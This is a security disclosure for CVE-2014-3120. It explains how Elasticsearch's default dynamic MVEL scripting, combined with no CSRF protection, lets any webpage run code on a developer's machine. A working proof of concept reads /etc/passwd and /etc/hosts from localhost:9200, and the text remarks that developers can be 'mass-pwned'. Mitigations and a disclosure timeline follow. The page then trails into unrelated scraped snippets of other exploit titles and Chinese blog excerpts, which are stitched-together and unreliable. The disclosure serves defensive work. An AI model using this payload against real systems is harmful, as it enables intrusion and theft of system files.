Insecure default in Elasticsearch enables remote code execution
Elasticsearch has a flaw in its default configuration which makes it possible for any webpage to execute arbitrary code on visitors with Elasticsearch installed. If you’re running Elasticsearch in
development please read the instructions on how to secure your machine. Elasticsearch version
1.2 (which is unreleased as of writing) is not vulnerable to remote code execution, but still has some security concerns.
The problem(s)
There are a couple of problems which enable the proof of concept I’m going to present:
- Elasticsearch has no access roles or authentication mechanism. This means that you have full control over a cluster the moment you connect to it.
- The API for Elasticsearch is accessible over HTTP and provides no CSRF
protection whatsoever. - It contains a feature which makes it possible to evaluate expressions
as part of a query. An example usage of this feature is to specify a custom scoring function while searching through documents. It uses the MVEL language
by default. - Up to version 1.2 dynamic scripting (which
makes it possible to send scripts to the cluster on the fly) was enabled by default. As mentioned in the documentation, this feature gives someone the same priviliges as the user that runs Elasticsearch. MVEL has no sandboxing at all.
There are no issues up to this point as long as you properly follow the documentation and make sure your Elasticsearch cluster is not available from the outside world. There is one target that isn’t
mentioned in the documentation though: The Developer! When you’re developing an application that uses Elasticsearch, you probably have it running on your machine. The default port is 9200
and
because there is no CSRF protection any webpage can just connect to the cluster using localhost:9200
as the host.
PoC
The following script will read /etc/hosts
and /etc/passwd
from a user
visiting a webpage and display the contents in the browser.
read_file = (filename) ->
"""
import java.io.File;
import java.util.Scanner;
new Scanner(new File("#{filename}")).useDelimiter("\\\\Z").next();
"""
# This PoC assumes that there is at least one document stored in Elasticsearch, there are ways around that though
$ ->
payload = {
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {}
}
for filename in ["/etc/hosts", "/etc/passwd"]
payload["script_fields"][filename] = {"script": read_file(filename)}
$.getJSON "http://localhost:9200/_search?source=#{encodeURIComponent(JSON.stringify(payload))}&callback=?", (data) ->
console.log(data)
for hit in data["hits"]["hits"]
for filename, contents of hit["fields"]
document.write("<h2>#{filename}</h2>")
for content in contents
document.write("<pre>" + content + "</pre>")
document.write("<hr>")
You can verify whether you’re vulnerable by trying out the above PoC here.
There are many ways to exploit this, you could link the victim to the page or embed it as an Iframe. You can even exploit this by crafting a URL and using it as the src
of
an <img>
, as the only thing that needs to happen is a single GET request. No user interaction required!
Because this is so easily exploitable you can mass-pwn developers with relatively little work.
How to secure against this vulnerability
Add the following line to your elasticsearch.yml
to disable dynamic scripting and prevent remote code execution:
script.disable_dynamic: true
You should also make sure that your local Elasticsearch instance is only binding onlocalhost
, as someone could exploit you over LAN
without making you visit a webpage if you don’t. The Homebrew Elasticsearch formula does this automatically. This still means you’re vulnerable to the CSRF exploit though!
If you want to be as secure as possible, you should run Elasticsearch inside a virtual machine, to make sure it has no access to the hosting machine at all.
Additional targets
Disabling scripting will prevent code execution, but that still leaves us with the issue of being able to query and administer the instance without limit. A webpage can easily dump the whole database
running on your machine, sensitive data included. This is impossible to fix by the Elasticsearch developers without adding authentication or CSRF protection.
If an attacker can figure out the internal address of your production Elasticsearch instance, you’re also open to leaking your production data. If your development machine is connected to a VPN which
provides access to your Elasticsearch cluster, an attacker can easily query or shut
down your cluster simply by making you visit a webpage.
Notes
- I have reserved CVE-2014-3120 for this issue.
- This exploit was tested against Elasticsearch version 1.1.1 on MacOSX installed through Homebrew. No configuration changes were made.
- I notified Elasticsearch through their security report instructions on the 26th of April 2014. They replied they were aware
of it, but didn’t intend to do a security release and instead disable dynamic scripting by default in version 1.2. - This security issue has been indepently discovered and blogged about on
December 9th 2013.
Insecure default in Elasticsearch enables remote code execution的更多相关文章
- MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...
- CVE-2014-6321 && MS14-066 Microsoft Schannel Remote Code Execution Vulnerability Analysis
目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 这次的CVE和 ...
- Roundcube 1.2.2 - Remote Code Execution
本文简要记述一下Roundcube 1.2.2远程代码执行漏洞的复现过程. 漏洞利用条件 Roundcube必须配置成使用PHP的mail()函数(如果没有指定SMTP,则是默认开启) PHP的mai ...
- [EXP]Apache Superset < 0.23 - Remote Code Execution
# Exploit Title: Apache Superset < 0.23 - Remote Code Execution # Date: 2018-05-17 # Exploit Auth ...
- [EXP]ThinkPHP 5.0.23/5.1.31 - Remote Code Execution
# Exploit Title: ThinkPHP .x < v5.0.23,v5.1.31 Remote Code Execution # Date: -- # Exploit Author: ...
- [EXP]Microsoft Windows MSHTML Engine - "Edit" Remote Code Execution
# Exploit Title: Microsoft Windows (CVE-2019-0541) MSHTML Engine "Edit" Remote Code Execut ...
- Home Web Server 1.9.1 build 164 - CGI Remote Code Execution复现
一. Home Web Server 1.9.1 build 164 - CGI Remote Code Execution复现 漏洞描述: Home Web Server允许调用CGI程序来通过P ...
- [我的CVE][CVE-2017-15708]Apache Synapse Remote Code Execution Vulnerability
漏洞编号:CNVD-2017-36700 漏洞编号:CVE-2017-15708 漏洞分析:https://www.javasec.cn/index.php/archives/117/ [Apache ...
- Exploiting CVE-2015-2509 /MS15-100 : Windows Media Center could allow remote code execution
Exploiting CVE-2015-2509 /MS15-100 : Windows Media Center could allow remote code execution Trend Mi ...
随机推荐
- Hulu面试题解答——N位数去除K个数字(解法错误sorry)
给定一个N位数,比如12345,从里面去掉k个数字.得到一个N-k位的数.比如去掉2,4,得到135,去掉1,5.得到234.设计算法.求出全部得到的N-k位数里面最小的那一个. 写的代码例如以下,思 ...
- HDU 4940(杭电更多的学校#7 1006) Destroy Transportation system(到处乱混)
职务地址:pid=4940">HDU 4940 当时这个题一看就看出来了是网络流的最小割.然后就一直在想建图. .然后突然发现,应该要让T集合的数目最少,不然仅仅要有两个,那这两个的每 ...
- 【网络协议】TCP交互数据流和数据流成块
前言 建立在TCP协议上的应用层协议有非常多,如FTP.HTTP.Telnet等,这些协议依据数据传输的多少能够分为两类:交互数据类型和成块数据类型. 交互数据类型,如:Telnet,这类协议一般仅仅 ...
- 使用NFS安装oracle软件
昨天.使用openfiler创建nas存储系统,安装oracle软件,在所有正面最好,要创建一个数据库时报ora错,原来使用nfs安装oracle数据库,mount选项有特殊要求,如以下.以备查: R ...
- Learning Cocos2d-x for WP8(3)——文字篇
原文:Learning Cocos2d-x for WP8(3)--文字篇 C#兄弟篇Learning Cocos2d-x for XNA(3)——文字篇 文字,是人类文明的象征. 文字显示,可用字符 ...
- POJ3190 Stall Reservations 【贪婪】
Stall Reservations Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 3106 Accepted: 111 ...
- Ice-2.1.2在RHEL Server 5.5上的安装
因为项目的需要,服务器上的程序需要使用Ice接口与其它程序通信,对方提供了一个Windows版的工程,我要把它移植到Linux服务器上,既然Ice是跨平台跨语言的中间件,想来移植不是很困难, ...
- Java开发环境的基本设置
作为Java的刚開始学习的人,不知道其它的刚開始学习的人有没有和我一样的感受:用Java开发须要配置这么复杂 的环境.太难了.第一次配置时,一团混乱.Oracle监听服务打不开了,PLSql连接不上O ...
- ActiveMQ相关背景(转)
概述 介绍中间件.MOM.JMS.ActiveMQ,及相互的关系. 中间件 由于业务的不同.技术的发展.硬件和软件的选择有所差别,导致了异构组件或应用并存的局面.要使这些异构的组件协同工作,一个有效的 ...
- 潜水JVM
原文地址:http://blog.jamesdbloom.com/JVMInternals.html(转载请注明出处和本文地址英文原文) 本文简要解析JVM的内部结构.下图显示了一个典型的一块JVM( ...